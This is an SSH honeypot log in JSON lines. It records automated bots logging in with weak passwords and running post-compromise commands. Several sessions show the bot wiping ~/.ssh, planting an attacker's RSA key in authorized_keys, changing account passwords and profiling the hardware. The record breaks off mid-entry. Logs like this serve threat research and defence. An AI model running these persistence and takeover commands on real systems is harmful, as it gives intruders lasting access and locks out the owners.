{"id":"525a320e-53b1-45f4-9b2b-bdd6b92bfca2","name":"sleepy-candid-dunlin","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":56734,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:50:45.363239+00:00","ended_at":"2026-08-27T12:50:46.201257+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a25beac5-9f37-499c-bc7a-3fa874c92795","name":"tender-silent-kiwi","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":56730,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:50:42.439601+00:00","ended_at":"2026-08-27T12:50:43.568009+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T12:50:42.440078+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:50:43.012763+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"root","password":"zxcvbnm,","method":"password","accepted":true,"tier":"other"}]} {"id":"8dcaad64-e205-4415-9abc-8f80854c23a5","name":"subtle-nautical-coyote","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59896,"username":"ftp_user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":457,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:50:33.190371+00:00","ended_at":"2026-08-27T12:50:34.730862+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2269,"events":[{"seq":1,"at":"2026-08-27T12:50:12.765053+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:50:13.212691+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:50:17.660067+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:50:18.333210+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:50:18.788612+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ftp_user@2023\\nZiJekG6oXxPt\\nZiJekG6oXxPt\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:50:19.244309+00:00","kind":"input","latency_ms":null,"data":"echo \"ftp_user@2023\\nZiJekG6oXxPt\\nZiJekG6oXxPt\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:50:19.697384+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:50:20.305377+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:50:20.770055+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:50:22.078771+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:50:22.536837+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:50:23.652214+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:50:24.108252+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:50:24.394530+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:50:24.856570+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:50:25.377103+00:00","kind":"output","latency_ms":null,"data":" 12:50:25 up 7 days, 9:40, 0 user, load average: 0.29, 0.36, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:50:25.834053+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:50:26.660387+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:50:27.130803+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:50:27.408018+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:50:27.866627+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:50:28.631442+00:00","kind":"output","latency_ms":null,"data":"top - 12:50:28 up 7 days, 9:40, 0 user, load average: 0.29, 0.36, 0.31\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:50:29.084221+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:50:29.382548+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:50:29.836933+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:50:30.129539+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:50:30.580969+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:50:30.838881+00:00","kind":"output","latency_ms":null,"data":"ftp_user"},{"seq":29,"at":"2026-08-27T12:50:31.292946+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:50:32.734442+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:50:33.191324+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:50:34.591356+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftp_user","password":"ftp_user@2023","method":"password","accepted":true,"tier":"other"}]} {"id":"e0063e0c-2d86-42e5-9cad-9df45150e8d1","name":"hidden-fickle-chinchilla","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59904,"username":"ftp_user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:50:16.154380+00:00","ended_at":"2026-08-27T12:50:17.497116+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftp_user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"97ddf43f-7b8f-435f-a483-ec7f2c71894d","name":"quiet-tender-saola","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59900,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:50:14.264379+00:00","ended_at":"2026-08-27T12:50:15.274806+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4a112586-0f77-4dc3-aabb-2798e3b81c19","name":"gilded-arctic-walrus","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":40032,"username":"deployer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":304,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:50:12.209359+00:00","ended_at":"2026-08-27T12:50:14.002867+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T12:49:56.088846+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:49:56.390458+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:49:59.524645+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:50:00.267388+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:50:00.571014+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\nnmR4LXeRPfNw\\nnmR4LXeRPfNw\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:50:00.874013+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\nnmR4LXeRPfNw\\nnmR4LXeRPfNw\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:50:01.176626+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:50:01.913552+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:50:02.216848+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:50:03.473801+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:50:03.779530+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:50:04.607156+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:50:04.913891+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:50:05.253067+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:50:05.556765+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:50:05.829956+00:00","kind":"output","latency_ms":null,"data":" 12:50:05 up 7 days, 9:40, 0 user, load average: 0.29, 0.33, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:50:06.133926+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:50:06.825813+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:50:07.128875+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:50:07.540786+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:50:07.844576+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:50:08.121869+00:00","kind":"output","latency_ms":null,"data":"top - 12:50:08 up 7 days, 9:40, 0 user, load average: 0.29, 0.33, 0.19\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:50:08.423909+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:50:08.864141+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:50:09.164607+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:50:09.494269+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:50:09.797496+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:50:10.457325+00:00","kind":"output","latency_ms":null,"data":"deployer"},{"seq":29,"at":"2026-08-27T12:50:10.760802+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:50:11.906919+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:50:12.210443+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:50:13.912861+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"deployer","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"39370ab9-678a-4dde-9767-e663eb886be2","name":"scarlet-dusty-whimbrel","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":58624,"username":"deepseek","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":204,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T12:50:10.998568+00:00","ended_at":"2026-08-27T12:50:11.103004+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T12:50:09.199150+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T12:50:09.764762+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T12:50:09.971885+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T12:50:09.972767+00:00","kind":"output","latency_ms":null,"data":" 12:50:09 up 7 days, 9:40, 0 user, load average: 0.04, 0.05, 0.04"},{"seq":5,"at":"2026-08-27T12:50:10.177476+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T12:50:10.177770+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T12:50:10.383308+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T12:50:10.383810+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T12:50:10.587782+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T12:50:10.588230+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T12:50:10.794506+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T12:50:10.796850+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T12:50:10.999475+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T12:50:10.999795+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"deepseek","password":"deepseek","method":"password","accepted":true,"tier":"other"}]} {"id":"cb0458d2-31f8-45cb-9f97-3a084e4984b1","name":"lucid-gnarled-shrike","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":40056,"username":"deployer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:49:58.358753+00:00","ended_at":"2026-08-27T12:49:59.436157+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"deployer","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dd05d352-deb2-4686-8fd3-2bedf4f19476","name":"frosty-electric-shrike","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":40492,"username":"dan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:49:57.375321+00:00","ended_at":"2026-08-27T12:49:59.504062+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T12:49:36.687281+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:49:37.012944+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:49:40.630190+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:49:42.335827+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:49:42.665771+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nsTLgZ1M9sTUW\\nsTLgZ1M9sTUW\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:49:42.993300+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nsTLgZ1M9sTUW\\nsTLgZ1M9sTUW\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:49:43.324213+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:49:43.984856+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:49:44.288437+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T12:49:44.620363+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T12:49:44.769972+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T12:49:46.503626+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:49:46.832713+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:49:48.339600+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:49:48.666887+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:49:49.166255+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:49:49.492783+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:49:50.030686+00:00","kind":"output","latency_ms":null,"data":" 12:49:50 up 7 days, 9:39, 0 user, load average: 0.22, 0.23, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:49:50.357374+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:49:51.238923+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:49:51.565771+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:49:52.169060+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:49:52.497236+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:49:52.838552+00:00","kind":"output","latency_ms":null,"data":"top - 12:49:52 up 7 days, 9:39, 0 user, load average: 0.22, 0.23, 0.15\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:49:53.166698+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:49:53.869460+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:49:54.198717+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:49:55.033537+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:49:55.360147+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:49:55.720235+00:00","kind":"output","latency_ms":null,"data":"dan"},{"seq":31,"at":"2026-08-27T12:49:56.047255+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:49:57.047255+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:49:57.376059+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:49:59.406369+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dan","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"662465a7-be85-4be5-b1b0-d3bfdf1f8977","name":"mindful-golden-pika","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":40044,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:49:57.076348+00:00","ended_at":"2026-08-27T12:49:57.762035+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3c97d983-e6d4-4c13-ae82-f8fb16ae5619","name":"bashful-ruddy-vole","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37328,"username":"dan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:49:39.449497+00:00","ended_at":"2026-08-27T12:49:40.533083+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"dan","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6d170bc1-9f8f-4028-9fa5-03ba9609dc07","name":"craggy-solar-egret","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":40498,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:49:37.758480+00:00","ended_at":"2026-08-27T12:49:38.795007+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e9ac9781-b6f7-4d1b-9710-b63a0400c5a2","name":"scarlet-cunning-grouse","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":52412,"username":"cps","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:48:15.012512+00:00","ended_at":"2026-08-27T12:48:17.108387+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T12:47:56.174396+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:47:56.473938+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 